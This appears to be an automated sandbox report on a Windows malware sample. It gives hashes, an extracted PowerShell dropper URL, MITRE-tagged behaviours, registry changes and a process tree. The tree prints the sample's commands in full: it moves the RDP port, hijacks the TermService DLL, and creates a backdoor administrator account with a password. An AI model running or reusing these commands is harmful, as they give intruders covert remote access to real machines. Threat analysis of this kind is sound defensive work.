5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

Analysis

max time kernel
149s
max time network
152s
platform
windows10_x64
resource
win10-en-20210920
submitted
29-09-2021 16:05

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General

Target

74f029d2fd587f9e25091f7832bea2f2.exe
Size

5.7MB
MD5

74f029d2fd587f9e25091f7832bea2f2
SHA1

76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c
SHA256

5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a
SHA512

0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
8	372	powershell.exe
10	372	powershell.exe
11	372	powershell.exe
12	372	powershell.exe
14	372	powershell.exe
16	372	powershell.exe
18	372	powershell.exe
20	372	powershell.exe
22	372	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001abac-358.dat	upx
behavioral2/files/0x000900000001abb0-359.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
3348	Process not Found
3348	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDC1D.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDC9C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDCAD.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_g1j1hied.aeb.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDC7C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDCAE.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_dnbkg0pr.yqd.ps1	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1168	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
984	powershell.exe
984	powershell.exe
984	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
632	Process not Found
632	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeIncreaseQuotaPrivilege	984	powershell.exe
Token: SeSecurityPrivilege	984	powershell.exe
Token: SeTakeOwnershipPrivilege	984	powershell.exe
Token: SeLoadDriverPrivilege	984	powershell.exe
Token: SeSystemProfilePrivilege	984	powershell.exe
Token: SeSystemtimePrivilege	984	powershell.exe
Token: SeProfSingleProcessPrivilege	984	powershell.exe
Token: SeIncBasePriorityPrivilege	984	powershell.exe
Token: SeCreatePagefilePrivilege	984	powershell.exe
Token: SeBackupPrivilege	984	powershell.exe
Token: SeRestorePrivilege	984	powershell.exe
Token: SeShutdownPrivilege	984	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeSystemEnvironmentPrivilege	984	powershell.exe
Token: SeRemoteShutdownPrivilege	984	powershell.exe
Token: SeUndockPrivilege	984	powershell.exe
Token: SeManageVolumePrivilege	984	powershell.exe
Token: 33	984	powershell.exe
Token: 34	984	powershell.exe
Token: 35	984	powershell.exe
Token: 36	984	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeIncreaseQuotaPrivilege	1856	powershell.exe
Token: SeSecurityPrivilege	1856	powershell.exe
Token: SeTakeOwnershipPrivilege	1856	powershell.exe
Token: SeLoadDriverPrivilege	1856	powershell.exe
Token: SeSystemProfilePrivilege	1856	powershell.exe
Token: SeSystemtimePrivilege	1856	powershell.exe
Token: SeProfSingleProcessPrivilege	1856	powershell.exe
Token: SeIncBasePriorityPrivilege	1856	powershell.exe
Token: SeCreatePagefilePrivilege	1856	powershell.exe
Token: SeBackupPrivilege	1856	powershell.exe
Token: SeRestorePrivilege	1856	powershell.exe
Token: SeShutdownPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeSystemEnvironmentPrivilege	1856	powershell.exe
Token: SeRemoteShutdownPrivilege	1856	powershell.exe
Token: SeUndockPrivilege	1856	powershell.exe
Token: SeManageVolumePrivilege	1856	powershell.exe
Token: 33	1856	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2620	2112	74f029d2fd587f9e25091f7832bea2f2.exe	70
PID 2112 wrote to memory of 2620	2112	74f029d2fd587f9e25091f7832bea2f2.exe	70
PID 2620 wrote to memory of 1168	2620	powershell.exe	72
PID 2620 wrote to memory of 1168	2620	powershell.exe	72
PID 1168 wrote to memory of 3176	1168	csc.exe	73
PID 1168 wrote to memory of 3176	1168	csc.exe	73
PID 2620 wrote to memory of 1128	2620	powershell.exe	74
PID 2620 wrote to memory of 1128	2620	powershell.exe	74
PID 2620 wrote to memory of 984	2620	powershell.exe	77
PID 2620 wrote to memory of 984	2620	powershell.exe	77
PID 2620 wrote to memory of 1856	2620	powershell.exe	79
PID 2620 wrote to memory of 1856	2620	powershell.exe	79
PID 2620 wrote to memory of 1884	2620	powershell.exe	81
PID 2620 wrote to memory of 1884	2620	powershell.exe	81
PID 2620 wrote to memory of 1168	2620	powershell.exe	82
PID 2620 wrote to memory of 1168	2620	powershell.exe	82
PID 2620 wrote to memory of 952	2620	powershell.exe	83
PID 2620 wrote to memory of 952	2620	powershell.exe	83
PID 2620 wrote to memory of 1180	2620	powershell.exe	84
PID 2620 wrote to memory of 1180	2620	powershell.exe	84
PID 1180 wrote to memory of 1068	1180	net.exe	85
PID 1180 wrote to memory of 1068	1180	net.exe	85
PID 2620 wrote to memory of 1012	2620	powershell.exe	86
PID 2620 wrote to memory of 1012	2620	powershell.exe	86
PID 1012 wrote to memory of 3944	1012	cmd.exe	87
PID 1012 wrote to memory of 3944	1012	cmd.exe	87
PID 3944 wrote to memory of 1564	3944	cmd.exe	88
PID 3944 wrote to memory of 1564	3944	cmd.exe	88
PID 1564 wrote to memory of 512	1564	net.exe	89
PID 1564 wrote to memory of 512	1564	net.exe	89
PID 2620 wrote to memory of 656	2620	powershell.exe	90
PID 2620 wrote to memory of 656	2620	powershell.exe	90
PID 656 wrote to memory of 2780	656	cmd.exe	91
PID 656 wrote to memory of 2780	656	cmd.exe	91
PID 2780 wrote to memory of 1040	2780	cmd.exe	92
PID 2780 wrote to memory of 1040	2780	cmd.exe	92
PID 1040 wrote to memory of 3908	1040	net.exe	93
PID 1040 wrote to memory of 3908	1040	net.exe	93
PID 1272 wrote to memory of 412	1272	cmd.exe	97
PID 1272 wrote to memory of 412	1272	cmd.exe	97
PID 412 wrote to memory of 1052	412	net.exe	98
PID 412 wrote to memory of 1052	412	net.exe	98
PID 1464 wrote to memory of 3344	1464	cmd.exe	101
PID 1464 wrote to memory of 3344	1464	cmd.exe	101
PID 3344 wrote to memory of 664	3344	net.exe	102
PID 3344 wrote to memory of 664	3344	net.exe	102
PID 3912 wrote to memory of 1340	3912	cmd.exe	105
PID 3912 wrote to memory of 1340	3912	cmd.exe	105
PID 1340 wrote to memory of 2692	1340	net.exe	106
PID 1340 wrote to memory of 2692	1340	net.exe	106
PID 1180 wrote to memory of 912	1180	cmd.exe	109
PID 1180 wrote to memory of 912	1180	cmd.exe	109
PID 912 wrote to memory of 3284	912	net.exe	110
PID 912 wrote to memory of 3284	912	net.exe	110
PID 692 wrote to memory of 4052	692	cmd.exe	113
PID 692 wrote to memory of 4052	692	cmd.exe	113
PID 4052 wrote to memory of 524	4052	net.exe	114
PID 4052 wrote to memory of 524	4052	net.exe	114
PID 1168 wrote to memory of 1980	1168	cmd.exe	117
PID 1168 wrote to memory of 1980	1168	cmd.exe	117
PID 1980 wrote to memory of 2664	1980	net.exe	118
PID 1980 wrote to memory of 2664	1980	net.exe	118
PID 3344 wrote to memory of 1312	3344	cmd.exe	121
PID 3344 wrote to memory of 1312	3344	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
"C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2z1qaywo\2z1qaywo.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES99E4.tmp" "c:\Users\Admin\AppData\Local\Temp\2z1qaywo\CSC1D3CD46C682B479DBBFE64360723EB8.TMP"
      4⤵
      PID:3176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1884
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1168
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:952
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1180
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:656
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1040
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1060
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3808

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1052

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc thjtNX1g /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Windows\system32\net.exe
  net.exe user wgautilacc thjtNX1g /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc thjtNX1g /add
    3⤵
    PID:664

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2692

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
    3⤵
    PID:3284

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:692
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:524

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc thjtNX1g
1⤵
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\system32\net.exe
  net.exe user wgautilacc thjtNX1g
